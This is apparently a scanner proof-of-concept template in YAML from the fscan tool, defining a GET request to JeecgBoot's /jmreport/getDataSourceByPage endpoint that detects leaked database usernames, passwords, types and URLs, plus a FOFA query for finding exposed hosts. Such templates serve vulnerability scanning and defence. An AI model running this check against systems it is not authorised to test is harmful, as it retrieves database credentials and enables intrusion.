Files
fscan/webscan/pocs/jeecg-getdatasourcebypage-disclosure.yaml
T

28 lines
765 B
YAML

id: jeecg-getdatasourcebypage-disclosure
info:
name: JeecgBoot - GetDataSourceByPage Disclosure
author: zan8in
severity: high
verified: true
description: |
fofa: app="jeecg-boot"
tags: jeecgboot,disclosure
created: 2026/01/08
rules:
r0:
request:
method: GET
path: /jmreport/getDataSourceByPage
expression: |
response.status == 200 &&
"Content-Type" in response.headers &&
response.headers['Content-Type'].icontains('application/json') &&
response.body.ibcontains(b'"success":true') &&
response.body.ibcontains(b'"dbUsername":') &&
response.body.ibcontains(b'"dbPassword":') &&
response.body.ibcontains(b'"dbType":') &&
response.body.ibcontains(b'"dbUrl":')
expression: r0()